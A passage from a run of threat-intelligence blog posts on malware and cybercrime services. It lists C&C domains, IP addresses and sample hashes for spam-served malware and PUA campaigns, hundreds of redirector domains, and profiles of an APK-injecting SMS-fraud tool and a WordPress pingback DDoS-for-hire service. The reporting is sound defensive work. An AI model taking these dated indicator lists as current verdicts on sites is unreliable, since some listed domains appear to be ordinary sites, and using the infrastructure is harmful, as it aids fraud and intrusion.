MD5: 3aa11e4f754ef1631aad1125e59d3aba
MD5: 64ed05b562fd38f15a27b3edbc5b9903
MD5: aef8e4b09e108ae8619133008341c09f
MD5: 2a323898d15ab57f855bdd0420887cd9
MD5: 005b9c62b51f92dca97129f30864dab8
MD5: d7c6371797a85cbd1b23c739c9e0b421

Once executed MD5: f1f19a389a5705287b694a1302f1b05c phones back to: hxxp://buildingpower.net (178.63.70.81)
hxxp://prettypower.net (208.91.197.23)
hxxp://prettycountry.net (184.168.221.51)
hxxp://doublefamous.net (210.157.1.134)

hxxp://stillpower.net (50.19.104.123)
hxxp://eveningletter.net (112.78.117.97)
hxxp://outsidecountry.net
hxxp://buildingcentury.net
hxxp://eveningcentury.net
hxxp://buildingfamous.net
hxxp://eveningfamous.net
hxxp://eveningpower.net
hxxp://buildingcountry.net
hxxp://eveningcountry.net
hxxp://storecentury.net
hxxp://mightcentury.net
hxxp://storefamous.net
hxxp://mightfamous.net
hxxp://storepower.net
hxxp://mightpower.net
hxxp://storecountry.net
hxxp://mightcountry.net
hxxp://doctorcentury.net
hxxp://prettycentury.net
hxxp://doctorfamous.net
hxxp://prettyfamous.net
hxxp://doctorpower.net
hxxp://doctorcountry.net
hxxp://fellowcentury.net
hxxp://doublecentury.net
hxxp://fellowfamous.net
hxxp://fellowpower.net
hxxp://doublepower.net
hxxp://fellowcountry.net
hxxp://doublecountry.net
hxxp://brokencentury.net
hxxp://resultcentury.net
hxxp://brokenfamous.net
hxxp://resultfamous.net
hxxp://brokenpower.net
hxxp://resultpower.net

hxxp://brokencountry.net
hxxp://resultcountry.net
hxxp://preparecentury.net
hxxp://desirecentury.net
hxxp://preparefamous.net
hxxp://desirefamous.net
hxxp://preparepower.net
hxxp://desirepower.net
hxxp://preparecountry.net
hxxp://desirecountry.net
hxxp://strengthcentury.net
hxxp://stillcentury.net
hxxp://strengthfamous.net
hxxp://stillfamous.net
hxxp://strengthpower.net
hxxp://strengthcountry.net
hxxp://stillcountry.net
hxxp://movementsurprise.net
hxxp://outsidesurprise.net
hxxp://movementbeside.net
hxxp://outsidebeside.net
hxxp://movementletter.net
hxxp://outsideletter.net
hxxp://movementdifferent.net
hxxp://outsidedifferent.net
hxxp://buildingsurprise.net
hxxp://eveningsurprise.net
hxxp://buildingbeside.net
hxxp://eveningbeside.net
hxxp://buildingletter.net
hxxp://buildingdifferent.net
hxxp://eveningdifferent.net
hxxp://storesurprise.net
hxxp://mightsurprise.net
hxxp://storebeside.net
hxxp://mightbeside.net
hxxp://storeletter.net

hxxp://mightletter.net
hxxp://storedifferent.net
hxxp://mightdifferent.net
hxxp://doctorsurprise.net
hxxp://prettysurprise.net
hxxp://doctorbeside.net
hxxp://prettybeside.net

Once executed MD5: 9a04f31b23a3df208a04c61f267d26ed phones back to: hxxp://strengthnation.net (192.0.80.250)
hxxp://buildingpower.net (178.63.70.81)
hxxp://prettypower.net (208.91.197.23)
hxxp://prettycountry.net (184.168.221.51)
hxxp://doublefamous.net (210.157.1.134)
hxxp://stillpower.net (50.19.104.123)

hxxp://resultsoldier.net
hxxp://brokenplease.net
hxxp://resultplease.net
hxxp://brokencondition.net
hxxp://resultcondition.net
hxxp://preparenation.net
hxxp://desirenation.net
hxxp://preparesoldier.net
hxxp://desiresoldier.net
hxxp://prepareplease.net
hxxp://desireplease.net
hxxp://preparecondition.net
hxxp://desirecondition.net
hxxp://stillnation.net
hxxp://strengthsoldier.net
hxxp://stillsoldier.net
hxxp://strengthplease.net
hxxp://stillplease.net
hxxp://strengthcondition.net
hxxp://stillcondition.net
hxxp://movementcentury.net
hxxp://outsidecentury.net
hxxp://movementfamous.net

hxxp://outsidefamous.net
hxxp://movementpower.net
hxxp://outsidepower.net
hxxp://movementcountry.net
hxxp://outsidecountry.net
hxxp://buildingcentury.net
hxxp://eveningcentury.net
hxxp://buildingfamous.net
hxxp://eveningfamous.net
hxxp://eveningpower.net
hxxp://buildingcountry.net
hxxp://eveningcountry.net
hxxp://storecentury.net
hxxp://mightcentury.net
hxxp://storefamous.net
hxxp://mightfamous.net
hxxp://storepower.net
hxxp://mightpower.net
hxxp://storecountry.net
hxxp://mightcountry.net
hxxp://doctorcentury.net
hxxp://prettycentury.net
hxxp://doctorfamous.net
hxxp://prettyfamous.net
hxxp://doctorpower.net
hxxp://doctorcountry.net
hxxp://fellowcentury.net
hxxp://doublecentury.net
hxxp://fellowfamous.net
hxxp://fellowpower.net
hxxp://doublepower.net
hxxp://fellowcountry.net
hxxp://doublecountry.net
hxxp://brokencentury.net
hxxp://resultcentury.net
hxxp://brokenfamous.net
hxxp://resultfamous.net

hxxp://brokenpower.net
hxxp://resultpower.net
hxxp://brokencountry.net
hxxp://resultcountry.net
hxxp://preparecentury.net
hxxp://desirecentury.net
hxxp://preparefamous.net
hxxp://desirefamous.net
hxxp://preparepower.net
hxxp://desirepower.net
hxxp://preparecountry.net
hxxp://desirecountry.net
hxxp://strengthcentury.net
hxxp://stillcentury.net
hxxp://strengthfamous.net
hxxp://stillfamous.net
hxxp://strengthpower.net
hxxp://strengthcountry.net
hxxp://stillcountry.net

Once executed MD5: 48703ab141b117be45af84aa423ee847 phones back to: hxxp://mx1.games-olympic.org (95.163.104.68)
hxxp://list.newsleter.org (95.163.104.93)
hxxp://seek.newsleter.org (208.115.109.53)
hxxp://bt.newsleter.org (208.115.109.53)
hxxp://fw.newsleter.org (85.143.166.221)

Hence, the Rodecap connection. MD5: **48703ab141b117be45af84aa423ee847** phones back to **newsleter.org** which is a well known Rodecap C&C, which we've also seen in two previously profiled spamvertised malware-serving campaigns, including a direct connection to a cybercrime-friendly managed service , offering SMTP servers for rent.

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY cybercrime-friendly (legitimate) APK injecting/decompiling app spotted in the wild - Webroot Blog

facebook linkedin twitter

With millions of Android users continuing to acquire new apps through Google Play, cybercriminals continue looking for efficient and profitable ways to infiltrate Android's marketplace using a variety of **TTPs (tactics, techniques and procedures)** . Largely relying on the ubiquitous for the cybercrime ecosystem, **affiliate network based revenue sharing scheme** , segmented **cybercrime-friendly** underground **traffic exchanges** , as well as **mass and efficient compromise of legitimate Web sites** , for the purpose of hijacking legitimate traffic, the **market segment** for **Android malware** continues flourishing.

We've recently spotted, yet another, commercially available **DIY cybercrime-friendly (legitimate) APK injecting/decompiling app** . The tool is capable of facilitating **premium-rate SMS fraud on a large scale** through the direct modification of legitimate apps to be later on embedded on Google Play through **compromised/data mined publisher accounts** .

Let's take a peek at the tool, discuss its features, and relevance in an Android malware market segment which is largely dominated by **DIY mobile malware** generating revenue sharing affiliate based networks.

Sample screenshot of the DIY cybercrime-friendly (legitimate) APK injecting/decompiling app:

Basically, the tool is capable of directly injecting premium-rate type of SMS functions into a legitimate app. Once infected, the next step is to socially engineering a gullible end user into installing it which can be easily accomplished by taking advantage of a legitimate marketplace's reputation. It's currently priced at $1,403.

Despite the availability of built-in protection features on Android devices, such as the **prevention of installation of apps from unknown sources** , and **advanced item validation checks** , we're certain that cybercriminals will continue to **efficiently populate the Android marketplace with rogue/malicious/fraudulent apps** . Despite the centralized nature of the Android app marketplace, in 2014, among the most popular **traffic acquisition tactics** remains **cybercrime-friendly traffic exchanges** as well as **injected/embedded** legitimate **Web sites** participating in massive Web malware based campaigns for the purpose of hijacking/abusing legitimate traffic.

We'll continue monitoring the development of the tool, and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Legitimate software apps impersonated in a blackhat SEO-friendly PUA (Potentially Unwanted Application) serving campaign - Webroot Blog

facebook linkedin twitter

Deceptive vendors of **PUAs (Potentially Unwanted Applications)** continue relying on a multitude of traffic acquisition tactics, which in combination with the ubiquitous for the market segment '**visual social engineering** ', continue tricking tens of thousands of users into installing the privacy-violating applications. With the majority of PUA campaigns, utilizing legitimately looking Web sites, as well as deceptive EULAs (End User License Agreements), in 2014, the risk-forwarding practice for the actual privacy-violation, continues getting forwarded to the socially engineered end user.

We've recently intercepted a rogue portfolio consisting of hundreds of thousands of blackhat SEO friendly, legitimate applications, successfully exposing users to the Sevas-S PUA, through a layered monetization relying on OpenCandy/Conduit affiliate based revenue sharing networks.

More details:

Sample screenshot of the Sevas-S/OpenCandy PU serving Web site:

Deceptive portfolio domain name reconnaissance: *hxxp://joydownload.com* – 54.235.94.58

Detection rate for a sample Sevas-S/OpenCandy PUA: **MD5: a8fb69cf527df4a731333c06129faf3a** – detected by 15 out of 51 antivirus scanners as PUP.Optional.OpenCandy; Sevas-S Installer

Serial number: 4B 35 AC 22 3F4 DB 03 D3 B4 C5 36 89 83 A4 B53

Related Sevas-S certificate numbers: 52 74 71 e5 38 62 e2 f9 0ab 45 ed 4a cb 8f 4c2
6b 59 cd e1 53 f9 d6 b8 05 25 99 e5 05 47 7c 19

Deceptive PUA vendor's domain name reconnaissance: *hxxp://sevas-s.com* – 107.23.223.98

Known to have been downloaded from the same IP (107.23.223.98) are also the following PUAs: MD5: e1a49c030ca2f679b70d92ec3637bf1e
MD5: ce9f84f734cbb6a29eee377112d9e5cf

Once executed, the sample phones back to: api.opencandy.com – 204.232.180.209
media.opencandy.com – 54.231.2.241; 54.231.0.65
cdn.opencandy.com – 87.248.203.254
installs.sevas-s.com – 107.23.223.98
d3.sevas-s.com – 5.79.64.239
sp-installer.conduit-data.com – 54.83.197.43
sp-storage.conduit-services.com – 23.67.3.152
sp-download.conduit-services.com – 199.101.114.124
sp-storage.spccinta.com – 23.66.234.207
sp-settings.conduit-services.com – 23.67.3.152
mediahelper.org – 23.21.66.175
servicemap.conduit-services.com – 23.67.3.152
sp-alive-msg.conduit-data.com – 23.23.100.240
sp-autoupdate.conduit-services.com – 23.67.3.152
sp-ip2location.conduit-services.com – 199.101.114.209

Related Sevas-S download locations: d2.sevas-s.com – 198.7.58.217
d3.sevas-s.com – 5.79.64.239
d4.sevas-s.com – 162.210.192.105
d5.sevas-s.comv – 207.244.67.208
d6.sevas-s.com – 207.244.67.198
d7.sevas-s.com – 207.244.67.199

Go through related assessments of PUA (Potentially Unwanted Applications) campaigns intercepted in the wild:

Rogue ads target EU users, expose them to Win32/Toolbar.SearchSuite through the KingTranslate PUA Rogue

‘Oops Video Player’ attempts to visually social engineer users, mimicks Adobe Flash Player’s installation process Rogue ‘Free Mozilla Firefox Download’ ads lead to ‘InstallCore’ Potentially Unwanted Application (PUA) Rogue ‘Free Codec Pack’ ads lead to Win32/InstallCore Potentially Unwanted Application (PUA) iLivid ads lead to ‘Searchqu Toolbar/Search Suite’ PUA (Potentially Unwanted Application) Rogue ads lead to SafeMonitorApp Potentially Unwanted Application (PUA) Deceptive ads targeting German users lead to the ‘W32/SomotoBetterInstaller’ Potentially Unwanted Application (PUA) Rogue ads lead to the ‘Free Player’ Win32/Somoto Potentially Unwanted Application (PUA) Rogue ads targeting German users lead to Win32/InstallBrain PUA (Potentially Unwanted Application) Rogue ads lead to the ‘Mipony Download Accelerator/FunMoods Toolbar’ PUA (Potentially Unwanted Application) Rogue ads lead to the ‘EzDownloaderpro’ PUA (Potentially Unwanted Application) Deceptive ads lead to the SpyAlertApp PUA (Potentially Unwanted Application)

Related domains known to have responded to the same IP (mediahelper.org; 23.21.66.175): 2download.co
cpuz.2download.co
directx.2download.co
mediahelper.org
2download.co
youtube-to-mp3-converter.org
youtubeconverterhd.co.uk
youtubetomp3format.com

Related MD5s known to have been downloaded from the same IP (23.21.66.175): MD5: e6bbd7ce83192d5505489fe738b547e8
MD5: 8e29d732e07a67858d10ee6b85230df7
MD5: 5f7e3f9758aa425fdc602f4b03cdfa2e
MD5: 2462a20c590399755577761bfb9cf919
MD5: 9b860b6e48c6266f09935c6245fea623
MD5: 9affdce21391343f83d84bea830e90a0

Known to have phoned back to (204.232.180.209) are also the following malicious MD5s: MD5:

e3d95855c85654de83286f1b6ad4a421
MD5: 0a3617a094b5a73e8bdd2655ff257a7b
MD5: 234047e53ba58255cc24fd7e38b385bc
MD5: 8eac6af7ffd80e5731cc7c5b6ffadeae
MD5: 69e1d70d315c502f5d963f2ed5f39ae4
MD5: f64e14110f8f5871011d3f3cc0566539
MD5: 28bf2ec685291297970b56b48b113e32
MD5: ea70d275f6de4229bfad9bda9ad5d380
MD5: 72b64cc54e107a8df3f1b6047a5d9c97
MD5: 2f18fad5471733f1924a8b6bdfd52867
MD5: aa49205590c65803c5a47d21fad6f09d
MD5: 5d230f2dfadbccbe38c3b103ab275429
MD5: 5fd51587e1e0aeae6deaa6883c2034b7
MD5: cb9ea2692f0aa50d3967fb690717642a
MD5: a66bec592f954fe04efd06e64f9ad96a

Known to have phoned back to the same IP (54.231.2.241) are also the following malicious MD5s: MD5: f33c86664d84fbbc8e05c4a7ec7941db
MD5: 92f312b8ce0248e11e83afbc891ef710
MD5: 7dba9a415756f20632a66dce2eaffca0
MD5: ec0de726447384b03bb99c2b940c9957
MD5: 20532744bd920846f097b42cb3d044e8
MD5: 9a77df392689b193c2d0eb1f8d7b9312
MD5: 4d4d0544d53f00fce5e7ce76f97dc480
MD5: 749be75d111c51e274b2bb65668592bf
MD5: 6aaee6759cd9795ab619cf1dfc022260
MD5: a8fb69cf527df4a731333c06129faf3a
MD5: 8f140e54e26b081cad542065aefe8d3b
MD5: 42c3418efcdb5b6bb8d7561f14ad2187
MD5: dec13aa433387f7644d5042cd2f10c4d
MD5: 6138dcbf580b1463dbf53863cdc8531a

Webroot SecureAnywhere users are proactively protected from these PUAs.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Managed DDoS WordPress-targeting, XML-RPC API abusing service, spotted in the wild - Webroot Blog

facebook linkedin twitter

With **WordPress continuing to lead the CMS market segment** , with the biggest proportion of market share, cybercriminals are **actively capitalizing** on the monocultural insecurities **posed by this trend** , in an attempt to monetize the ubiquitous (for the cybercrime ecosystem) **TTPs (tactics, techniques and procedures)** . Despite actively seeking new and 'innovative' ways to abuse this trend, cybercriminals are also relying on good old fashioned **reconnaissance and 'hitlist' building tactics** , in an attempt to achieve an efficiency-oriented 'malicious economies of scale' type of fraudulent/malicious process.

We've recently spotted a managed WordPress installations-targeting, **XML-RPC API abusing type of DDos** (Denial of Service) attack service, whose discovery intersects with a recently launched mass widespread WordPress platform targeting campaign.

Sample screenshot of the managed DDoS WordPress-targeting XML-RCP API abusing service:

In addition to offering a variety of DDoS attack methods, the service is also offering multiple 'value-added' features, such as popular hosting/VoIP platforms resolving services. Priced between $4.99 and $99.99 for different packages, it also currently accepts PayPal and **Bitcoin** , and is capable of delivering over 40 Gbps of DDoS bandwidth. Its key differentiation factors include Source Banner reconnaissance scanning capability, as well as the direct abuse of a well known WordPress platform abuse vector, namely, the **XML-RPC API pingback type of DDoS attack vulnerability.**

Sample screenshot of a prospective service's customer Web based interface:

Sample screenshot of the service's DDoS capabilities:

Related screenshots of the promoted service's DDoS bandwidth capacity:

Despite the evident malicious 'innovation' on behalf of the adversaries behind the XML-RPC API pingback based DDoS attack campaign, on a large scale, cybercriminals continue largely relying on **DIY (do-it-yourself)** types of DDoS malware/botnet generating tools, successfully leading to the growth of the ever-green market segment for managed DDoS attacks. To mitigate the risk of falling victim to such **widespread WordPress CMS targeting campaigns** , WordPress owners are advised to go through **the official WordPress hardening guide** , as well as to take advantage of **Sucuri's free DDoS scanning service** .

We'll continue monitoring the development of the service, and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY automatic cybercrime-friendly ‘redirector generating’ service spotted in the wild - part two - Webroot Blog

facebook linkedin twitter

Cybercriminals continue actively abusing/mixing legitimate and **purely malicious infrastructure** , on their way to take advantage of clean **IP reputation** , for the purpose of achieving a positive ROI (return on investment) out of their fraudulent/malicious activities, in terms of attribution and increasing **the average lifetime for their campaigns** . Acting as intermediaries within the **exploitation/social engineering/malware-serving chain** , the market segment for this type of cybercrime-friendly services continues flourishing, with more vendors joining it, aiming to differentiate their UVP (unique value proposition) through a variety of ‘value-added’ services.

We’ve recently spotted yet another **managed/on demand redirector generating service** , that’s empowering potential cybercriminals with the necessary infrastructure for the purpose of launching (layered) fraudulent/malicious (multiple) redirector enabled attacks, capable of bypassing popular Web filtering solutions. Let’s profile the service, discuss its relevance within the cybercrime ecosystem, and provide actionable intelligence on the static redirectors managed by it.

More details:

Among the key differentiation factors of the service — a market segment standard in 2014 — is the automatic domain reputation checking feature, allowing prospective cybercriminals to quickly increase the average lifetime of their campaigns, as well as the ability to generate new redirectors on demand. The service is currently offering three types of pricing schemes – $50 for thirty thousand redirects as a starting package, $150 for one hundred thousand redirects, followed by a bonus package, offering two hundred thousand redirects for the same price as the starting package.

Priced at $2 for a thousand redirects, $50 for thirty thousand redirects, and $150 for one hundred thousand redirects, the service is perfectly positioned to continue acquiring new customers. Among the most popular **TTPs (tactics, techniques and procedures)** applied by cybercriminals in 2014 remains the use of layered multiple (bulletproof) redirector enabled malware/exploits serving campaigns, actively seeking to bypass Web/spam filtering solutions.

Sampled cybercrime-friendly redirectors (parked at 178.19.99.72) used by the service: 1000kazino.ru
100kazino.ru
10kazino.ru
24online-zone.ru
2584.ru
4922.ru
4942.ru
4life-24.ru
7448517.ru
absolute-med.ru
ac4u.ru
adapex.ru
adfclan.ru
aion-knight.ru
akcii-forex.ru
alderaan.ru
amyrsk.ru
anika-sh.ru
animeflv.ru
aniramen.ru
annapavlushkova.ru
antisopa.ru
ard26.ru
avtomatigrat.ru
avtomatikazino.ru
avtomatkazino.ru
avtomaty-sloty.ru
avtomatyigrat.ru
avtomatykazinoigrat.ru

avtomatyvegas.ru
azartmaniakazino.ru
azartnyeigry-avtomaty.ru
azartnyeigryavtomaty777.ru
azartnyeigrycasino.ru
azartnyeigrykazino.ru
azartnyeigrysloty.ru
azartnyeslots.ru
azartnyesloty.ru
bablomoney.ru
bananascasino.ru
banda-kino.ru
banda-kinos.ru
bandaikino.ru
bandavkino.ru
banditkinos.ru
basenjist.ru
basicmassag.ru
bastion-mebel.ru
bbi-russia.ru
bc2server.ru
beauty-perfect.ru
belmetal.ru
bereginja-moskow.ru
bertoni-kid.ru
bestbukmekery.ru
bestfx4you.ru
bestinvestsistem.ru
bestkazinos.ru
bestslotscasino.ru
bestslotsgame.ru
betacasino.ru
beznesmans.ru
bigcazinos.ru
bigdengi4.ru
bigforexbinar.ru
bigkazinos.ru

bigrabotat.ru
bigslots.ru
binarnyyforex.ru
bittorrent-x.ru
biznessss.ru
bm-monitor.ru
bokakmv.ru
bukmeker2013.ru
bukmekerskiefany.ru
bukmekerstavki.ru
casino-777slot.ru
casino-cristals.ru
casino-igry777.ru
casino-olimp.ru
casino-planeta.ru
casino777slots.ru
casinoavtomat.ru
casinoazartnyeigry.ru
casinoazartonline.ru
casinobanan.ru
casinobetigry.ru
casinogameslot.ru
casinogamesonlineplay.ru
casinograndevro.ru
casinoigrainternet.ru
casinoigrislot.ru
casinoigryonline.ru
casinoigrysuper.ru
casinolimit.ru
casinomaniasloty.ru
casinomasiny.ru
casinomoskva.ru
casinopiter.ru
casinotvslots.ru
cdtforever.ru
centralplant.ru
chat-portal.ru

chipelectro.ru
classic-oil.ru
clforex.ru
club-asteria.ru
clubbnichka.ru
clubforexinvest.ru
clubinvests.ru
com-inter.ru
compnewsite.ru
coolcasinos.ru
counterstrike-info.ru
cristal-vegas.ru
cristalcasinos.ru
css-servera-cs.ru
da-max.ru
deficit72.ru
deluxe-doodle-jump.ru
dengamoney.ru
dengi-forex-rabota.ru
dengi4you4forex.ru
dengidengi-forex.ru
dengiforex4.ru
dengiforexpro.ru
dengiproforex.ru
dengiru-forex.ru
detalicar.ru
dibars.ru
doktor-fedorov.ru
dolcevio.ru
dom-sun.ru
driftmag.ru
drmilovidova.ru
dsptop.ru
dt-portal.ru
dtuning.ru
dubli-land.ru
dylan-troy.ru

ebay-zakaz.ru
eka-shopping.ru
eurovpn.ru
evgeniebux.ru
expertsever.ru
f4youforex.ru
fa-cs.ru
faktyvideofilm.ru
familkino.ru
fastprivatbank.ru
femmeo.ru
filefileloadloadnet.ru
filmkino-video.ru
filmkinovideo.ru
filmlines.ru
filmoss.ru
filmvideokino.ru
filmyivideo.ru
filmymix.ru
fit-info.ru
forex-bar.ru
forex-chart.ru
forex-gameinvest.ru
forex-gids.ru
forex-mc.ru
forex-ns.ru
forex-xll.ru
forex4com.ru
forex4dengi.ru
forex4moneys.ru
forex4youinvest.ru
forex4youpro.ru
forex4zarabotat.ru
forex7777.ru
forexbinar.ru
forexbinary.ru
forexformat.ru

forexmmm.ru
forexmoneylive.ru
forexnubb.ru
forexpubs.ru
forexrusist.ru
forexsist.ru
forexxxx.ru
format-dom.ru
formatforex.ru
foryoulife.ru
fengiforex.ru
freecasinoplay.ru
freforexmoney.ru
frezag.ru
fse-ok.ru
fx4youinvest.ru
gamekazino.ru
gamepuls.ru
gameslotscasino.ru
gameslotscasinos.ru
gameved.ru
garanzhin.ru
gdevideofilm.ru
gdezarabotatdeneg.ru
gidmoneyforex.ru
glam-wed.ru
goodmoneyday.ru
grandcinemania.ru
grandforexbar.ru
grandinvestmen.ru
grandkazinoevro.ru
grandkinoski.ru
grandvideofilm.ru
grangslots.ru
gs-shopbuilder.ru
gtablack.ru
hardmuza.ru

hatakino.ru
hispeedsite.ru
hockeydaddy.ru
holymix.ru
home-10films.ru
hoteldynamo.ru
hotels-zlatapraga.ru
ic-samara.ru
igranaforexinvest.ru
igratkazinoigry.ru
igratnaforex.ru
igricasinonline.ru
igromaniacasino.ru
igrovye-avtomaty777.ru
igrovyeavtomaty777.ru
igrovyecasino.ru
igrovyekazino.ru
igrovyeslots.ru
igryazartnyecasino.ru
igrycasinoonline.ru
igryforex.ru
igrykazino777.ru
iiijg77.ru
infoam.ru
informkontrol.ru
instruction4you.ru
interesno-kino.ru
interleasing-invest.ru
invest-xxl.ru
investclubx.ru
investforexxx.ru
investgames.ru
investirovaniemoney.ru
investitmen.ru
investmoneysist.ru
investsist.ru
ios-pro.ru

ipoteka-kred.ru
ir-mag.ru
ivanovat.ru
jarmarkakreditov.ru
job-ula.ru
jobkino.ru
jovrent.ru
justcat.ru
justinstructions.ru
kakvkinolive.ru
kazino777slots.ru
kazinoazartmania.ru
kazinobetting.ru
kazinobigslot.ru
kazinoicasino.ru
kazinoigribet.ru
kazinoigriplay.ru
kazinoigrusuper.ru
kazinomonaco.ru
kazinoonlineigry.ru
kazinoslotsfree.ru
kazinoslotsgame.ru
kazinovegas777.ru
kemerovoportal.ru
kia-spectra-club.ru
kiev-review.ru
kinatrix.ru
kino-azart.ru
kino-maniax.ru
kino-matrix.ru
kino-ring.ru
kino1film.ru
kinobanda-net.ru
kinobandaa.ru
kinobandity.ru
kinobbb.ru
kinobombim.ru

kinobomby.ru
kinofilm-video.ru
kinohatka.ru
kinojornal.ru
kinomagi.ru
kinomails.ru
kinomatric.ru
kinomaxim.ru
kinomaxmix.ru
kinoms.ru
kinopocta.ru
kinosvetik.ru
kinotiptoplive.ru
kinotors.ru
kinovideo-film.ru
kinovideofilm.ru
kintor.ru
kis-murys.ru
klubinvest.ru
koleso-gizni.ru
konobandanet.ru
konoparadis.ru
kpk-obzor.ru
ktokrasivee.ru
kujvozi.ru
kuznecdvor.ru
kvc-nsk.ru
l2zz.ru
la2hot.ru
landlinks.ru
lazurniibereg.ru
letanews.ru
linekinofakt.ru
live-videomix.ru
lol-helper.ru
lovinator.ru
luxuryempire.ru

lykoptom.ru
m-sistems.ru
magikino.ru
make-world.ru
manualkinsite.ru
manualovnet.ru
marhi97.ru
marinapilicheva.ru
marketplaneta.ru
markhiev.ru
marvelgift.ru
masterforexsis.ru
maxkinomix.ru
mediaforexpro.ru
metal-history.ru
mexica-resort.ru
michelin-kormoran.ru
mmm-kuzbass.ru
mmm2011msk.ru
mmmforex.ru
mobiklik.ru
mobilru.ru
moi-progi.ru
money-gid.ru
money-xl.ru
money4tebe.ru
moneybigforex.ru
moreforexbiz.ru
morgana-davies.ru
mosgostsert.ru
moypopugaychik.ru
mp3wka.ru
murmanradio.ru
mybestsait.ru
myiforex.ru
mykinobanda.ru
myvdeleinvest.ru

myvforex.ru
myvinvest.ru
myvkinofilmah.ru
myvrabote.ru
mznd.ru
nachalife.ru
nailsgood.ru
natalybeauty.ru
nebesnaya7.ru
nedvizhimostyvsloveniji.ru
neocasinos.ru
newsoftclub.ru
novosibirsk-diplom.ru
novye-tovary.ru
oao-ooo.ru
offrem.ru
oknaidverispb.ru
olgayast.ru
omcon.ru
onlinebux.ru
palomaasia.ru
pantymir.ru
paradisefilm.ru
paravkino.ru
parkland-tula.ru
party-bonus.ru
pauchok2.ru
pbland.ru
pisa-nina.ru
pk-green.ru
pkvlublino.ru
planetakazino.ru
planetscasino.ru
pokavkino.ru
polezniy-sovet.ru
popfilmylive.ru
popkinolive.ru

poranaotdyh.ru
pornolav.ru
portaltuning.ru
portalvideomix.ru
poselok-dubovoe.ru
poselok-mesherskoe.ru
postman-dubna.ru
potkino.ru
pro-1kino.ru
pro100bit.ru
prodengiforex.ru
proforex4you.ru
project-syndicate.ru
pronerv.ru
prophan.ru
prorabotuforex.ru
prostolog.ru
qigong-club.ru
rabotaklub.ru
rabotalandmoney.ru
rabotatlive.ru
raidcallfan.ru
redguild.ru
rek-tiz.ru
religion-science.ru
rtscorp.ru
rubashkimen.ru
rubloges.ru
rudengi-invest.ru
rukazinos.ru
runet-team.ru
rus-referat.ru
rusforexsistem.ru
russian-resource.ru
russkiecasino.ru
s-podkova-poselok.ru
sadisteeg.ru

sale1c.ru
saleberryshop.ru
salon-dom2.ru
sat-cards.ru
sat-manager.ru
school-of-photoshop.ru
sdelkamavro.ru
sdera.ru
se-montazh.ru
secretbooks.ru
seokreativ.ru
sergeynedorub.ru
shizhenskiy.ru
simsimkino.ru
sistemazarabotkamoney.ru
sistemyraboty.ru
skacxshatdvadva.ru
skajatseichasdva.ru
skasjatskyapka.ru
skaxcjatdavdva.ru
skaxxchatdvadva.ru
skill-game.ru
skypedlyandroid.ru
slots777-casino.ru
slotscasinos.ru
slotskazino.ru
smallcasino.ru
smofi.ru
smotretvideoline.ru
smotretvseonlain.ru
smotrim4you.ru
snabprof.ru
sokolkeram.ru
spbmp.ru
spice77.ru
ssportss.ru
starbur.ru

stas-karpov.ru
steklopaketi-msk.ru
stepanovaeva.ru
stokinosek.ru
stomatolog-24.ru
stroymaker.ru
superigrycasino.ru
superigrykazino.ru
svarogavia.ru
svetlanatkachenko.ru
sybseeds.ru
tandem-rd.ru
taunhausfestivalpark.ru
tech-docs.ru
telefon-browser.ru
teso33.ru
ti-russia.ru
tiptopkinos.ru
tno-team.ru
tok-ip.ru
tolivehappy.ru
trans-uni.ru
traveltoeuro.ru
trekino.ru
trizon.ru
turbaza-gornaya.ru
u-spravka.ru
ukr-mmm.ru
utpit-knigi.ru
v-kino-zale.ru
vegas-casinos.ru
vegas-kazinoz.ru
vesicontrol.ru
video-hata.ru
video-kinofilm.ru
video-matrix.ru
video-ring.ru

videobanda.ru
videofilm-kino.ru
videofilmkino.ru
videojornal.ru
videokino-film.ru
videokino-mix.ru
videokinofilm.ru
videolinia.ru
videomafioz.ru
videomagico.ru
videomaty.ru
videomixmax.ru
videomondo.ru
videoprobykino.ru
videotiptop.ru
videotopy.ru
violar.ru
vkforex.ru
vkinoteatremy.ru
vkontakte-noch.ru
vkrabotat.ru
vsekinobanda.ru
vseobizness.ru
vseoforexland.ru
war-bk.ru
webdengiforex.ru
webmoney62.ru
websales2.ru
weddingpix.ru
westsibir.ru
win7xp.ru
winecorks.ru
wmjobs.ru
womanm.ru
wondersnature.ru
work-houms.ru
ws-cool.ru

wwwforexcom.ru
wwwforexru.ru
wwwrabotnik.ru
x-forex-x.ru
xdmail.ru
xforexx.ru
xkaccctxtfileszdes.ru
xotic.ru
xtrazz.ru
yadrin24.ru
yageroi2012.ru
yourget.ru
ystrou.ru
yurivoron.ru
zaberipitomca.ru
zarabotatmoneybystro.ru
zarabotatvinternetemoney.ru
zemlakino.ru
zheltoebezumie.ru

Not surprisingly, in addition to the cybercrime-as-a-service type of managed underground market propositions, the market segment for cybercrime-friendly redirectors is also largely populated by **DIY (do-it-yourself)** tools, setting up the foundations for competing offers, with new market entrants actively acquiring these commercially/publicly available applications.

Sample screenshot of a DIY cybercrime-friendly redirector generating tool:

We expect that in a post-**Black Hole Web malware exploitation kit** dominated cybercrime ecosystem, vendors of market leading exploitation kits would continue implementing additional ‘value added’ type of redirector services, further increasing the average life cycle of their customers’ campaigns.

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Deceptive ads expose users to the Adware.Linkular/Win32.SpeedUpMyPC.A PUAs (Potentially Unwanted Applications) - Webroot Blog

facebook linkedin twitter

